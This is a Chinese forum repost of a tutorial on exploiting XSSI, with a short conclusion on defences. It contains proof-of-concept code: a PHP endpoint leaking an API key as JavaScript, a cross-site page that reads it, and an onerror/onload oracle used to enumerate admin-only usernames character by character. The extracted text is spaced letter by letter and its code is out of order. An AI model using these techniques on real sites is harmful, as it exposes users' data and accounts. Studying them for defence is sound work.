搜索

[28842] 2021-04-04_如何利用XSSI（跨站点脚本包含）漏洞

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-19
2021-04-04_如何利用XSSI（跨站点脚本包含）漏洞 如 何 利 用 X S S I （ 跨 站 点 脚 本 包 含 ） 漏 洞 O t s 安 全   2 0 2 1 - 0 4 - 0 4 X S S I 指 定 一 种 漏 洞 ， 该 漏 洞 利 用 以 下 事 实 ： 使 用 脚 本 标 记 包 含 资 源 时 ， S O P 不 适 用 ， 因 为 必 须 能 够 跨 域 包 含 脚 本 。 因 此 ， 攻 击 者 可 以 阅 读 使 用 s c r i p t 标 记 包 含 的 所 有 内 容 。 当 涉 及 动 态 环 境 J a v a S c r i p t 或 J S O N P （ 使 用 c o o k i e 等 所 谓 的 环 境 权 限 信 息 ） 进 行 身 份 验 证 时 ， 这 尤 其 有 趣 。 从 其 他 主 机 请 求 资 源 时 ， 将 包 含 c o o k i e 。 什 么 是 什 么 是 X S S I ？ ？ 在 相 同 的 起 源 或 更 简 单 S O P 是 互 联 网 浏 览 器 的 最 重 要 的 保 护 之 一 。 用 于 验 证 页 面 上 加 载 的 内 容 是 否 来 自 同 一 域 。 在 F i r e f o x 的 文 件 给 了 我 们 一 个 表 格 ， 显 示 了 这 一 安 全 协 议 的 工 作 。 如 果 两 个 协 议 的 协 议 ， 端 口 （ 如 果 指 定 ） 和 主 机 相 同 ， 则 两 个 U R L 具 有 相 同 的 来 源 。 您 可 能 会 看 到 这 被 称 为 “ 方 案 / 主 机 / 端 口 元 组 ” ， 或 仅 称 为 “ 元 组 ” 。 为 简 单 起 见 ， S O P 阻 止 攻 击 者 以 登 录 用 户 的 权 限 从 另 一 个 站 点 检 索 信 息 。 考 虑 以 下 示 例 ， 该 示 例 显 示 了 在 用 户 端 禁 用 了 S O P 的 攻 击 图 ：
从 这 里 可 以 看 出 ， 没 有 S O P 的 任 何 站 点 都 可 以 使 用 用 户 的 c o o k i e 访 问 另 一 个 站 点 。 激 活 S O P 后 ， 将 出 现 错 误 。 S O P 的 局 限 性 的 局 限 性 我 们 很 快 了 解 了 S O P 的 工 作 原 理 ， 但 是 这 种 保 护 也 有 一 些 限 制 。 实 际 上 ， S O P 必 须 足 够 宽 容 才 能 显 示 图 像 或 加 载 外 部 J a v a S c r i p t 。 因 此 ， 以 下 示 例 不 受 此 保 护 ： 图 片 标 签 脚 本 标 签 标 记 的 其 他 示 例 ， 例 如 l i n k 或 v i d e o 可 在 F i r e f o x 文 档 中 找 到 。 这 种 允 许 的 机 制 允 许 考 虑 S O P 不 起 作 用 的 情 况 。 X S S I 那 么 什 么 是 X S S I ？ X S S I ， 也 称 为 跨 站 点 脚 本 包 含 ， 是 在 J a v a S c r i p t 中 包 含 具 有 内 容 的 远 程 页 面 。 实 际 上 ， 该 s c r i p t 标 签 通 过 其 s r c 属 性 包 括 一 个 外 部 页 面 ， 该 页 面 已 被 加 载 为 J a v a S c r i p t 。 以 以 下 P H P 代 码 为 例 ： 在 下 面 的 代 码 中 ， 我 们 假 定 该 g e t _ u s e r _ i n f o ( ) 函 数 使 用 用 户 c o o k i e 从 数 据 库 检 索 信 息 。 我 们 注 意 到 ， P H P 脚 本 更 改 了 页 面 的 C o n t e n t - t y p e 。 我 们 可 以 假 设 出 于 实 际 原 因 ， 信 息 是 通 过 J a v a s c r i p t 动 态 加 载 到 站 点 上 的 。 但 是 ， 这 种 使 用 完 全 不 安 全 ， 如 以 下 脚 本 所 示 。 因 此 ， 攻 击 者 可 以 设 置 以 下 各 项 ： < i m g   s r c = " h t t p : / / e x t e r n e . d t d / i m a g e . p n g "   / > < s c r i p t   s r c = " h t t p s : / / a j a x . g o o g l e a p i s . c o m / a j a x / l i b s / j q u e r y / 3 . 2 . 1 / j q u e r y . m i n . j s " > < / s c r i p t > v a r   i n f o   =   [ { ' u s e r '   :   ' N e o s L a b ' ,   ' A P I _ K E Y '   :   ' l 3 x 1 1 s G 0 0 d B u T 3 l 5 4 J 3 4 n 1 s B 3 t t 3 r ' } ] ; < ? p h p s e s s i o n _ s t a r t ( ) ; f u n c t i o n   g e t _ u s e r _ i n f o ( ) {   $ i n f o   =   " { ' u s e r '   :   ' N e o s L a b ' ,   ' A P I _ K E Y '   :   ' l 3 x 1 1 s G 0 0 d B u T 3 l 5 4 J 3 4 n 1 s B 3 t t 3 r ' } " ;   r e t u r n   $ i n f o ; } h e a d e r ( ' C o n t e n t - T y p e :   a p p l i c a t i o n / j a v a s c r i p t ' ) ; $ b u i l d _ r e s p o n s e   =   " v a r   i n f o   =   [ " .   g e t _ u s e r _ i n f o ( )   . " ] ; " ; e c h o   $ b u i l d _ r e s p o n s e ; ? > < s c r i p t   s r c = " h t t p s : / / w w w . n e o s l a b . c o m / l a b s / i n f o . p h p " > < / s c r i p t > < s c r i p t   t y p e = ' t e x t / j a v a s c r i p t ' > a l e r t ( J S O N . s t r i n g i f y ( i n f o ) ) ; < / s c r i p t >
有 多 种 方 法 可 以 通 过 使 用 H T M L 元 素 的 字 符 集 来 加 载 其 他 类 型 的 文 件 （ C S V ， J S O N ） ， 如 本 文 档 中 所 示 。 但 是 ， 提 出 的 大 多 数 解 决 方 法 在 最 新 版 本 的 浏 览 器 上 不 再 起 作 用 。 甲 骨 文 甲 骨 文 X S S 假 设 某 个 网 站 页 面 返 回 了 不 同 的 H T T P 代 码 （ 2 0 0 、 4 0 4 、 3 0 2 等 ） ， 以 响 应 不 同 的 G E T 类 型 请 求 。 然 后 可 以 使 用 错 误 处 理 程 序 检 索 这 些 代 码 。 实 际 上 ， 通 过 使 用 这 些 处 理 程 序 ， 可 以 通 过 与 在 盲 S Q L 注 入 过 程 中 相 同 的 过 程 （ 即 逐 个 字 符 ） 提 取 数 据 ， 如 以 下 脚 本 所 示 ： “   h t t p R e s p o n s e . p h p ” 文 件 < s c r i p t > f u n c t i o n   h t t p 2 0 0 ( ) {   a l e r t ( " H T T P   2 0 0 " ) } f u n c t i o n   h t t p 4 0 4 ( ) {   a l e r t ( " H T T P   4 0 4 " ) } < / s c r i p t > < s c r i p t   s r c = " h t t p s : / / w w w . n e o s l a b . c o m / l a b s / h t t p R e s p o n s e . p h p "   a s y n c = " a s y n c "   o n e r r o r = h t t p 4 0 4 ( )   o n l o a d = h t t p 2 0 0 ( ) > < / s c r i p t > < ? p h p i f ( r a n d ( 0 , 1 ) ) {   h t t p _ r e s p o n s e _ c o d e ( 2 0 0 ) ; } e l s e {   h t t p _ r e s p o n s e _ c o d e ( 4 0 4 ) ; }
因 此 ， 借 助 H T T P 代 码 和 错 误 处 理 程 序 ， 我 们 可 以 分 辨 出 这 两 个 响 应 之 间 的 区 别 ！ 上 面 知 道 响 应 为 真 还 是 为 假 的 机 制 称 为 O r a c l e   X S S 。 我 们 可 以 在 这 种 方 法 中 找 到 什 么 用 ？ 如 果 远 程 站 点 只 有 管 理 员 可 用 的 用 户 搜 索 系 统 ， 我 们 可 以 通 过 比 较 H T T P 代 码 的 返 回 来 列 出 这 些 用 户 。 当 然 ， 连 接 的 人 必 须 是 站 点 的 管 理 员 。 通 过 o r a c l e   X S S 的 攻 击 情 形 示 例 ： 结 论 结 论 开 发 人 员 切 勿 将 敏 感 内 容 放 置 在 J a v a S c r i p t 文 件 中 ， 也 不 应 放 置 在 J S O N P 中 。 但 是 ， 应 该 清 除 保 存 到 J S O N 文 件 并 从 中 读 取 的 用 户 条 目 。 为 了 阻 止 这 种 攻 击 ， 我 们 可 以 使 用 以 下 方 法 ： 我 们 添 加 了 X - C o n t e n t - T y p e - O p t i o n s :   n o s n i f f 要 保 护 其 免 受 内 容 类 型 攻 击 的 标 头 。 我 们 避 免 将 用 户 信 息 放 在 J a v a S c r i p t 文 件 中 。 阅 读 原 文 } d i e ( ) ; G E T   / a d m i n / s e a r c h . p h p ? u s e r = j *   - >   2 0 0   / /   W e   f o u n d   t h a t   " j "   i s   o u r   f i r s t   c h a r a c t e r G E T   / a d m i n / s e a r c h . p h p ? u s e r = j a *   - >   4 0 4   / /   N o   u s e r   s t a r t i n g   b y   " j a " ,   s o   w e   g o   t o   n e x t   c h a r a c t e r G E T   / a d m i n / s e a r c h . p h p ? u s e r = j b *   - >   4 0 4 G E T   / a d m i n / s e a r c h . p h p ? u s e r = j c *   - >   4 0 4 G E T   / a d m i n / s e a r c h . p h p ? u s e r = j d *   - >   4 0 4 G E T   / a d m i n / s e a r c h . p h p ? u s e r = j e *   - >   2 0 0 - - - s n i p - - - G E T   / a d m i n / s e a r c h . p h p ? u s e r = j e a n   - >   2 0 0   / /   W e   f i n a l l y   f o u n d   o u r   u s e r   " j e a n "
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理